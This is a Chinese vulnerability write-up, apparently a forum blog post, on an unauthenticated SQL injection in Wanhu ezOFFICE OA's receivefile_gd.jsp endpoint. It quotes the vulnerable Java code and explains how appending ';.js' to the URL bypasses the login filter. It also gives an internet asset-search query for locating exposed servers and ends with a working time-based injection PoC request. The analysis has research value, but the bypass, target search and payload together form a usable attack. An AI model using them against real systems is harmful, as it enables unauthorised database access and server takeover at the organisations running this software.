万户oa中receivefile_gd存在SQL注入

万户oa中receivefile_gd存在SQL注入

简介

万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。万户 ezOFFICE receivefile gd.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可 获取服务器权限。

漏洞分析

首先进入到modules/govoffice/gov_documentmanager/receivefile_gd.jsp下

image-20240822185803195

在105-111行有如下代码

java.util.Map myParaTmp \= new java.util.HashMap();//创建一个HashMap数组  
//依次接受请求中的recordId、tableId、processId、workId参数之后放入到数组中  
myParaTmp.put("recordId",request.getParameter("recordId"));  
myParaTmp.put("tableId",request.getParameter("tableId"));  
myParaTmp.put("processId",request.getParameter("processId"));  
myParaTmp.put("workId",request.getParameter("workId"));  
com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD myUfbdTemp \= new com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD();  
myUfbdTemp.delWFOnlineUser(myParaTmp);//调用delWFOnlineUser方法进行数据库相关的删除操作

需要注意的是上述代码是在else语句中,需要满足gb参数为空才可以,代码如下

image-20240822194345679

接着进入到WorkFlowButtonBD下的delWFOnlineUser方法中

image-20240822190449798

该方法首先创建了一个ParameterGenerator对象pg,之后将参数para传入到pg中,接着就是创建了一个代理类EJBProxy对象用于访问名为WorkFlowButtonEJB的EJB组件,通过反射方式调用delWFOnlineUser方法

接着进入到com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBeandelWFOnlineUser

    public void delWFOnlineUser(Map map) throws Exception {  
        begin();  
        try {  
            try {  
                this.stmt.execute("delete from wf\_onlineuser where recordId=" + map.get("recordId") + " and tableId=" + map.get("tableId") + " and processId=" + map.get(FormContants.WF\_PROCESS\_ID) + " and workId=" + map.get("workId"));  
                end();  
            } catch (Exception e) {  
                System.out.println("----------------------------------------------");  
                e.printStackTrace();  
                System.out.println("----------------------------------------------");  
                throw e;  
            }  
        } catch (Throwable th) {  
            end();  
            throw th;  
        }  
    }  
​

该方法就是获取map参数中recordIdtableIdFormContants.WF_PROCESS_IDworkId参数组成sql语句,之后直接调用stmt.execute方法执行sql语句,因为全程没有对sql语句进行任何敏感信息的过滤进而造成了sql

要注意的是在web.xml中会对所有的路由进行SetCharacterEncodingFilter类的过滤处理

image-20240822213830850

进入SetCharacterEncodingFilter类中开始分析

image-20240822214207220

首先就是rootPath获取到根目录

substring获取到整个路由

接着继续走,substring2获取到路由的后缀,当后缀名为.jspx时就会跳转到/defaultroot/login.jsp

image-20240822214658348

当后缀匹配到如下后缀时会进行不同的重定向操作

(substring2.equals("") || substring2.equals(".jsp") || substring2.equals(".vm")) && this.needSecurity && substring.indexOf("/evo/weixin/") < 0 && substring.indexOf("/portal/") < 0 && substring.indexOf("/upgrade/") < 0 && substring.indexOf("/public/edit/") < 0 && !securityList.getNosessionWhiteList().contains(substring)

接着走,当请求体中有referer时,就会将取值赋值给str2,接下来就是根据z的取值以及后缀进行判断,当后缀名为.jsp;.js来访问时if结果就为false,不会直接return使得程序直接继续向下执行直到最后都没有重定向发操作直接访问到原始路由

image-20240822215401412

因此在访问路由的时候加入;.js可以很好的绕过过滤

资产测绘

app="万户ezOFFICE协同管理平台"

image-20240822201948221

漏洞复现

poc

GET /defaultroot/modules/govoffice/gov\_documentmanager/receivefile\_gd.jsp;.js?recordId=1;waitfor+delay+'0:0:6'--+- HTTP/1.1  
Host:   
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0  
Accept: text/html,application/xhtml+xml

image-20240822201855704

  • 发表于 2024-08-30 10:00:03
  • 阅读 ( 9368 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
xhys
xhys

12 篇文章

站长统计